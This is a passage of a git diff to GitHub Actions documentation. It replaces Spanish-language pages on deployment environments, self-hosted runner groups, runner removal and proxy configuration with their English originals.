(Agregar secreto). + 1. Click **Add secret**. -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}También puedes crear y configurar ambientes a través de la API de REST. Para obtener más información, consulta las secciones de "[Ambientes](/rest/reference/repos#environments)" y "[Secretos](/rest/reference/actions#secrets)".{% endif %} +{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %} -El ejecutar un flujo de trabajo que referencie un ambiente que no existe creará un ambiente con el nombre referenciado. El ambiente recién creado no tendrá configurada ninguna regla de protección o secreto. Cualquiera que pueda editar flujos de trabajo en el repositorio podrá crear ambientes a través de un archivo de flujo de trabajo, pero solo los administradoresd e repositorio pueden configurar el ambiente. +Running a workflow that references an environment that does not exist will create an environment with the referenced name. The newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment. ## Using an environment -Cad job en un flujo de trabajo puede referenciar un solo ambiente. Cualquier regla de protección que se configure para el ambiente debe pasar antes de que un job que referencia al ambiente se envíe a un ejecutor. The job can access the environment's secrets only after the job is sent to a runner. +Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. The job can access the environment's secrets only after the job is sent to a runner. -Cuando un flujo de trabajo referencia un ambiente, éste aparecerá en los despliegues del repositorio. Para obtener más información acerca de visualizar los despliegues actuales y previos, consulta la sección "[Visualizar el historial de despliegues](/developers/overview/viewing-deployment-history)". +When a workflow references an environment, the environment will appear in the repository's deployments. For more information about viewing current and previous deployments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)." {% data reusables.actions.environment-example %} -## Borrar un ambiente +## Deleting an environment {% data reusables.github-actions.permissions-statement-environment %} -El borrar un ambiente borrará todos los secretos y reglas de protección asociadas con éste. Cualquier job que esté actualmente en espera porque depende de las reglas de protección del ambiente que se borró, fallará automáticamente. +Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.github-actions.sidebar-environment %} -1. Junto al ambiente que quieres borrar, haz clic en {% octicon "trash" aria-label="The trash icon" %}. -2. Da clic en **Entiendo, borra este ambiente**. +1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="The trash icon" %}. +2. Click **I understand, delete this environment**. -{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}También puedes borrar los ambientes a través de la API de REST Para obtener más información, consulta la sección "[Ambientes](/rest/reference/repos#environments)".{% endif %} +{% ifversion fpt or ghae-next or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %} ## How environments relate to deployments @@ -124,6 +124,6 @@ El borrar un ambiente borrará todos los secretos y reglas de protección asocia You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see "[Repositories](/rest/reference/repos#deployments)" (REST API), "[Objects]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#deployment)" (GraphQL API), or "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)." -## Pasos siguientes +## Next steps {% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)." diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md index 084f4fd244..a643409dbd 100644 --- a/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md +++ b/translations/es-ES/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md @@ -1,6 +1,6 @@ --- -title: Administrar el acceso a los ejecutores auto-hospedados utilizando grupos -intro: Puedes utilizar políticas para limitar el acceso a los ejecutores auto-hospedados que se hayan agregado a una organización o empresa. +title: Managing access to self-hosted runners using groups +intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise. redirect_from: - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners versions: @@ -9,7 +9,7 @@ versions: ghae: '*' ghec: '*' type: tutorial -shortTitle: Administrar grupos de ejecutores +shortTitle: Manage runner groups --- {% data reusables.actions.ae-self-hosted-runners-notice %} @@ -17,42 +17,42 @@ shortTitle: Administrar grupos de ejecutores {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Acerca de los grupos de ejecutores auto-hospedados +## About self-hosted runner groups {% ifversion fpt or ghec %} {% note %} -**Nota:** Todas las organizaciones tienen un solo grupo de ejecutores auto-hospedados predeterminado. Solo las cuentas empresariales y las organizaciones que pretenezcan a estas pueden crear y administrar grupos de ejecutores auto-hospedados adicionales. +**Note:** All organizations have a single default self-hosted runner group. Only enterprise accounts and organizations owned by enterprise accounts can create and manage additional self-hosted runner groups. {% endnote %} {% endif %} -Los grupos de ejecutores auto-hospedados se utilizan para controlar el acceso a los ejecutores auto-hospedados a nivel de empresas y organizaciones. Los administradores de la empresa pueden configurar políticas de acceso que controlan qué organizaciones en la empresa tienen acceso al grupo de ejecutores. Los administradores de las organizaciones pueden configurar políticas de acceso que controlen qué repositorios en una organización tienen acceso al grupo de ejecutores. +Self-hosted runner groups are used to control access to self-hosted runners at the organization and enterprise level. Enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group. Organization admins can configure access policies that control which repositories in an organization have access to the runner group. -Cuando un administrador de empresa otorga acceso a una organización para un grupo de ejecutores, los administradores de organización pueden ver que dicho grupo se lista en la configuración del ejecutor auto-hospedado de la organización. Los administradores de la organización pueden entonces asignar políticas de acceso adicionales para repositorios granulares en el grupo de ejecutores de la empresa. +When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's self-hosted runner settings. The organizations admins can then assign additional granular repository access policies to the enterprise runner group. -Cuando se crean nuevos ejecutores, se asignan automáticamente al grupo predeterminado. Los ejecutores solo pueden estar en un grupo a la vez. Puedes mover los ejecutores del grupo predeterminado a otro grupo. Para obtener más información, consulta la sección "[Mover un ejecutor auto-hospedado a un grupo](#moving-a-self-hosted-runner-to-a-group)". +When new runners are created, they are automatically assigned to the default group. Runners can only be in one group at a time. You can move runners from the default group to another group. For more information, see "[Moving a self-hosted runner to a group](#moving-a-self-hosted-runner-to-a-group)." -## Crear un grupo de ejecutores auto-hospedados para una organización +## Creating a self-hosted runner group for an organization -Todas las organizaciones tienen un solo grupo predeterminado de ejecutores auto-hospedados. Las organizaciones dentro de una cuenta empresarial pueden crear grupos auto-hospedados adicionales. Los administradores de la organización pueden permitir el acceso de los repositorios individuales a un grupo de ejecutores. Para obtener más información sobre cómo crear un grupo de ejecutores auto-hospedados con la API de REST, consulta la sección "[Grupos de ejecutores auto-hospedados](/rest/reference/actions#self-hosted-runner-groups)". +All organizations have a single default self-hosted runner group. Organizations within an enterprise account can create additional self-hosted groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a self-hosted runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)." -Los ejecutores auto-hospedados se asignan automáticamente al grupo predeterminado cuando se crean y solo pueden ser mimebros de un grupo a la vez. Puedes mover un ejecutor del grupo predeterminado a cualquier grupo que crees. +Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create. -Cuando creas un grupo, debes elegir una política que defina qué repositorios tienen acceso al grupo ejecutor. +When creating a group, you must choose a policy that defines which repositories have access to the runner group. {% ifversion fpt or ghec %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.github-actions.settings-sidebar-actions-runner-groups %} -1. En la sección de "Grupos de ejecutores", haz clic en **Grupo de ejecutores nuevo**. +1. In the "Runner groups" section, click **New runner group**. {% data reusables.github-actions.runner-group-assign-policy-repo %} {% warning %} - **Advertencia**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %} + **Warning**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %} - Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." {% endwarning %} {% data reusables.github-actions.self-hosted-runner-create-group %} @@ -61,50 +61,50 @@ Cuando creas un grupo, debes elegir una política que defina qué repositorios t {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.github-actions.settings-sidebar-actions-runners %} -1. En la sección de "Ejecutores auto-hospedados", haz clic en **Agregar nuevo** y luego en **Grupo nuevo**. +1. In the "Self-hosted runners" section, click **Add new**, and then **New group**. - ![Agregar un grupo de ejecutores](/assets/images/help/settings/actions-org-add-runner-group.png) -1. Ingresa un nombre para tu grupo de ejecutores y asigna una política para el acceso al repositorio. + ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png) +1. Enter a name for your runner group, and assign a policy for repository access. - {% ifversion ghes or ghae %} Puedes configurar un grupo de ejecutores para que sea accesible para una lista específica de repositorios o para todos los repositorios de la organización. Predeterminadamente, solo los repositorios privados pueden acceder a los ejecutores en un grupo de ejecutores, pero puedes anular esto. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %} + {% ifversion ghes or ghae %} You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %} {% warning %} - **Advertencia** + **Warning** {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %} - Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." {% endwarning %} - ![Agregar opciones de un grupo de ejecutores](/assets/images/help/settings/actions-org-add-runner-group-options.png) -1. Da clic en **Guardar grupo** para crear el grupo y aplicar la política. + ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png) +1. Click **Save group** to create the group and apply the policy. {% endif %} -## Crear un grupo de ejecutores auto-hospedados para una empresa +## Creating a self-hosted runner group for an enterprise -Las empresas pueden agregar sus ejecutores auto-hospedados a grupos para su administración de accesos. Las empresas pueden crear grupos de ejecutores auto-hospedados a los cuales puedan acceder organizaciones específicas en la cuenta empresarial. Los administradores de la organización pueden entonces asignar políticas de acceso adicionales para los repositorios granulares a estos grupos de ejecutores para las empresas. Para obtener más información sobre cómo crear un grupo de ejecutores auto-hospedados con la API de REST, consulta las [API de GitHub Actions para la Administración Empresarial](/rest/reference/enterprise-admin#github-actions). +Enterprises can add their self-hosted runners to groups for access management. Enterprises can create groups of self-hosted runners that are accessible to specific organizations in the enterprise account. Organization admins can then assign additional granular repository access policies to the enterprise runner groups. For information about how to create a self-hosted runner group with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). -Los ejecutores auto-hospedados se asignan automáticamente al grupo predeterminado cuando se crean y solo pueden ser mimebros de un grupo a la vez. Puedes asignar el ejecutor a un grupo específico durante el proceso de registro o puedes moverlo después desde el grupo predeterminado a un grupo personalizado. +Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group. -Cuando creas un grupo, debes elegir la política que defina qué organizaciones tienen acceso al grupo de ejecutores. +When creating a group, you must choose a policy that defines which organizations have access to the runner group. {% ifversion fpt or ghec %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.enterprise-accounts.actions-runner-groups-tab %} -1. Haz clic en **Grupo de ejecución nuevo**. +1. Click **New runner group**. {% data reusables.github-actions.runner-group-assign-policy-org %} {% warning %} - **Advertencia** + **Warning** {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %} - Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." {% endwarning %} {% data reusables.github-actions.self-hosted-runner-create-group %} @@ -114,88 +114,93 @@ Cuando creas un grupo, debes elegir la política que defina qué organizaciones {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.enterprise-accounts.actions-runners-tab %} -1. Da clic en **Agregar nuevo** y luego en **Grupo nuevo**. +1. Click **Add new**, and then **New group**. - ![Agregar un grupo de ejecutores](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png) -1. Ingresa un nombre para tu grupo de ejecutores y asigna una política para el acceso organizacional. + ![Add runner group](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png) +1. Enter a name for your runner group, and assign a policy for organization access. - Puedes configurar un grupo de ejecutores para que una lista específica de organizaciones o todas las organizaciones de la empresa puedan acceder a él. Predeterminadamente, solo los repositorios privados pueden acceder a los ejecutores en un grupo de ejecutores, pero puedes anular esto. Esta configuración no puede anularse si se configura el grupo de ejecutores de una organización que compartió una empresa. + You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise. {% warning %} - **Advertencia** + **Warning** {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %} - Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." {% endwarning %} - ![Agregar opciones de un grupo de ejecutores](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png) -1. Da clic en **Guardar grupo** para crear el grupo y aplicar la política. + ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png) +1. Click **Save group** to create the group and apply the policy. {% endif %} -## Cambiar la política de acceso de un grupo de ejecutores auto-hospedados +## Changing the access policy of a self-hosted runner group -Puedes actualizar la política de acceso de un grupo ejecutor o renombrarlo. +You can update the access policy of a runner group, or rename a runner group. {% ifversion fpt or ghec %} {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %} {% data reusables.github-actions.settings-sidebar-actions-runner-groups-selection %} -1. Modifica las opciones de acceso o cambia el nombre del grupo de ejecutores. +1. Modify the access options, or change the runner group name. {% warning %} - **Advertencia** + **Warning** {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %} - Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." {% endwarning %} {% endif %} {% ifversion ghae or ghes %} {% data reusables.github-actions.self-hosted-runner-configure-runner-group-access %} {% endif %} -## Agregar ejecutores auto-hospedados a un grupo automáticamente +## Automatically adding a self-hosted runner to a group -Puedes utilizar el script de configuración para agregar automáticamente un ejecutor auto-hospedado nuevo a un grupo. Por ejemplo, este comando registra un ejecutor auto-hospedado nuevo y utiliza el parámetro `--runnergroup` para agregarlo a un grupo llamado `rg-runnergroup`. +You can use the configuration script to automatically add a new self-hosted runner to a group. For example, this command registers a new self-hosted runner and uses the `--runnergroup` parameter to add it to a group named `rg-runnergroup`. ```sh ./config.sh --url $org_or_enterprise_url --token $token --runnergroup rg-runnergroup ``` -El comando fallará si el grupo de ejecutores no existe: +The command will fail if the runner group doesn't exist: ``` Could not find any self-hosted runner group named "rg-runnergroup". ``` -## Mover un ejecutor auto-hospedado a un grupo +## Moving a self-hosted runner to a group -Si no especificas un grupo de ejecutores durante el proceso de registro, tus ejecutores auto-hospedados nuevos se asignarán automáticamente al grupo predeterminado y después se moverán a otro grupo. +If you don't specify a runner group during the registration process, your new self-hosted runners are automatically assigned to the default group, and can then be moved to another group. {% ifversion fpt or ghec or ghes > 3.1 or ghae-next %} {% data reusables.github-actions.self-hosted-runner-navigate-to-org-enterprise %} -1. En la lista de "Ejecutores", haz clic en aquél que quieras configurar. -1. Selecciona el menú desplegable del grupo de ejecutores. -1. En "Mover el ejecutor al grupo", elige un grupo destino para el ejecutor. +1. In the "Runners" list, click the runner that you want to configure. +1. Select the Runner group dropdown menu. +1. In "Move runner to group", choose a destination group for the runner. {% else %} -1. En la sección de "Ejecutores auto-hospedados" de la página de configuración, ubica el grupo actual del ejecutor que quieres mover y expande la lista de miembros del grupo. ![Ver los miembros de un grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-members.png) -1. Selecciona la casilla junto al ejecutor auto-hospedado y da clic en **Mover a grupo** para ver los destinos disponibles. ![Mover a un miembro de un grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-member-move.png) -1. Para mover el ejecutor, da clic en el grupo de destino. ![Mover a un miembro de un grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png) +1. In the "Self-hosted runners" section of the settings page, locate the current group of the runner you want to move and expand the list of group members. + ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png) +1. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations. + ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png) +1. To move the runner, click on the destination group. + ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png) {% endif %} -## Eliminar un grupo de ejecutores auto-hospedados +## Removing a self-hosted runner group -Los ejecutores auto-hospedados se devuelven automáticamente al grupo predeterminado cuando su grupo se elimina. +Self-hosted runners are automatically returned to the default group when their group is removed. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %} -1. En la lista de grupos, a la derecha del grupo que quieras borrar, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. -1. Para eliminar el grupo, da clic en **Eliminar grupo**. -1. Revisa el mensaje de confirmación y da clic en **Eliminar este grupo de ejecutores**. +1. In the list of groups, to the right of the group you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. +1. To remove the group, click **Remove group**. +1. Review the confirmation prompts, and click **Remove this runner group**. {% else %} -1. En la sección de "Ejecutores auto-hospedados" de la página de ajustes, ubica el grupo que quieras borrar y haz clic en el botón {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![Ver la configuración del grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-kebab.png) +1. In the "Self-hosted runners" section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button. + ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-kebab.png) -1. Para eliminar el grupo, da clic en **Eliminar grupo**. ![Ver la configuración del grupo de ejecutores](/assets/images/help/settings/actions-org-runner-group-remove.png) +1. To remove the group, click **Remove group**. + ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-remove.png) -1. Revisa el mensaje de confirmación y da clic en **Eliminar este grupo de ejecutores**. +1. Review the confirmation prompts, and click **Remove this runner group**. {% endif %} diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md index 86bece4c7a..b492e034f7 100644 --- a/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md +++ b/translations/es-ES/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: Eliminar ejecutores autoalojados -intro: 'Puedes eliminar permanentemente un ejecutor auto-hospedado de {{ site.data.variables.product.prodname_actions }}.' +title: Removing self-hosted runners +intro: 'You can permanently remove a self-hosted runner from a repository, an organization, or an enterprise.' redirect_from: - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners @@ -10,7 +10,7 @@ versions: ghae: '*' ghec: '*' type: tutorial -shortTitle: Elimina ejecutores auto-hospedados +shortTitle: Remove self-hosted runners --- {% data reusables.actions.ae-self-hosted-runners-notice %} @@ -18,17 +18,17 @@ shortTitle: Elimina ejecutores auto-hospedados {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Eliminar un ejecutor de un repositorio +## Removing a runner from a repository {% note %} -**Nota:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} {% endnote %} -Para eliminar un ejecutor autoalojado de un repositorio de usuario, debes ser el propietario del repositorio. Para los repositorios organizacionales, debes ser el propietario de la organización o tener acceso de administrador a éste. Te recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. Para obtener más información sobre cómo eliminar un ejecutor auto-hospedado con la API de REST, consulta la sección "[Ejecutores auto-hospedados](/rest/reference/actions#self-hosted-runners)". +To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec %} @@ -45,17 +45,17 @@ Para eliminar un ejecutor autoalojado de un repositorio de usuario, debes ser el {% data reusables.github-actions.settings-sidebar-actions-runners %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner %} {% endif %} -## Eliminar el ejecutor de una organización +## Removing a runner from an organization {% note %} -**Nota:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} {% endnote %} -Para eliminar el ejecutor auto-hospedado de una organización, debes ser el propietario de la misma. Te recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. Para obtener más información sobre cómo eliminar un ejecutor auto-hospedado con la API de REST, consulta la sección "[Ejecutores auto-hospedados](/rest/reference/actions#self-hosted-runners)". +To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} @@ -71,11 +71,11 @@ Para eliminar el ejecutor auto-hospedado de una organización, debes ser el prop {% data reusables.github-actions.settings-sidebar-actions-runners %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner %} {% endif %} -## Eliminar un ejecutor de una empresa +## Removing a runner from an enterprise {% note %} -**Nota:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} +**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %} {% data reusables.github-actions.self-hosted-runner-auto-removal %} @@ -83,7 +83,7 @@ Para eliminar el ejecutor auto-hospedado de una organización, debes ser el prop {% data reusables.github-actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec %} -Para eliminar a un ejecutor auot-hospedado de una cuenta empresarial, debes ser un propietario de la empresa. Te recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. Para obtener más información sobre cómo agregar un ejecutor auto-hospedado con la API de REST, consulta las [API de GitHub Actions para la Administración Empresarial](/rest/reference/enterprise-admin#github-actions). +To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions). {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} @@ -91,8 +91,7 @@ Para eliminar a un ejecutor auot-hospedado de una cuenta empresarial, debes ser {% data reusables.github-actions.settings-sidebar-actions-runner-selection %} {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %} {% elsif ghae or ghes %} -Para eliminar un ejecutor auto-hospedado a nivel empresarial de -{% data variables.product.product_location %}, debes ser un propietario de empresa. Te recomendamos que también tengas acceso a la máquina del ejecutor auto-hospedado. +To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} diff --git a/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md index a309baf1c8..9028179143 100644 --- a/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md +++ b/translations/es-ES/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: Usar un servidor proxy con ejecutores autoalojados -intro: 'Puedes configurar los ejecutores autoalojados para usar un servidor proxy para comunicarte con {% data variables.product.product_name %}.' +title: Using a proxy server with self-hosted runners +intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.' redirect_from: - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners versions: @@ -9,7 +9,7 @@ versions: ghae: '*' ghec: '*' type: tutorial -shortTitle: Servidores proxy +shortTitle: Proxy servers --- {% data reusables.actions.ae-self-hosted-runners-notice %} @@ -17,39 +17,41 @@ shortTitle: Servidores proxy {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Configurar un servidor proxy mediante variables de entorno +## Configuring a proxy server using environment variables -Si necesitas un ejecutor autoalojado para comunicarte a través de un servidor proxy, la aplicación del ejecutor autoalojado usa configuraciones de proxy establecidas en las siguientes variables de entorno: +If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables: -* `https_proxy`: URL del proxy para el tráfico HTTPS. También puedes incluir credenciales de autenticación básicas, si es necesario. Por ejemplo: +* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example: * `http://proxy.local` * `http://192.168.1.1:8080` * `http://username:password@proxy.local` -* `http_proxy`: URL del proxy para el tráfico HTTP. También puedes incluir credenciales de autenticación básicas, si es necesario. Por ejemplo: +* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example: * `http://proxy.local` * `http://192.168.1.1:8080` * `http://username:password@proxy.local` -* `no_proxy`: Lista de hosts separados por comas que no deberían usar un proxy. Solo se permiten nombres de host en `no_proxy`, no puedes usar direcciones IP. Por ejemplo: +* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example: * `example.com` * `example.com,myserver.local:443,example.org` -Las variables de entorno de proxy se leen cuando se inicia la aplicación del ejecutor autoalojado, por lo que debes establecer las variables de entorno antes de configurar o iniciar la aplicación del ejecutor autoalojado. Si cambia la configuración de tu proxy, debes reiniciar la aplicación del ejecutor autoalojado. +The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application. -En las máquinas Windows, los nombres de las variables de entorno proxy no distinguen mayúsculas de minúsculas. En las máquinas Linux y macOS, te recomendamos que uses todas las variables de entorno en minúsculas. Si tienes una variable de entorno tanto en minúsculas como en mayúsculas en Linux o macOS, por ejemplo `https_proxy` y `HTTPS_PROXY`, la aplicación del ejecutor autoalojado usa la variable de entorno en minúscula. +On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable. -## Usar un archivo.env para establecer la configuración del proxy +{% data reusables.actions.self-hosted-runner-ports-protocols %} -Si establecer variables de entorno no es práctico, puedes establecer las variables de configuración de proxy en un archivo llamado _.env_ en el directorio de la aplicación del ejecutor autoalojado. Por ejemplo, esto puede ser necesario si deseas configurar la aplicación del ejecutor como un servicio en una cuenta de sistema. Cuando se inicia la aplicación del ejecutor, lee las variables establecidas en _.env_ para la configuración del proxy. +## Using a .env file to set the proxy configuration -A continuación se muestra un ejemplo de configuración del proxy _.env_: +If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration. + +An example _.env_ proxy configuration is shown below: ```ini https_proxy=http://proxy.local:8080 no_proxy=example.com,myserver.local:443 ``` -## Establecer la configuración del proxy para contenedores Docker +## Setting proxy configuration for Docker containers -Si usas las acciones del contenedor Docker o los contenedores de servicio en tus flujos de trabajo, es posible que también debas configurar Docker para usar tu servidor proxy además de establecer las variables de entorno anteriores. +If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables. -Para obtener información sobre la configuración de Docker que se necesita, consulta "[Configurar Docker para usar un servidor proxy](https://docs.docker.com/network/proxy/)" en la documentación de Docker. +For information on the required Docker configuration, see "[Configure Docker to use a proxy 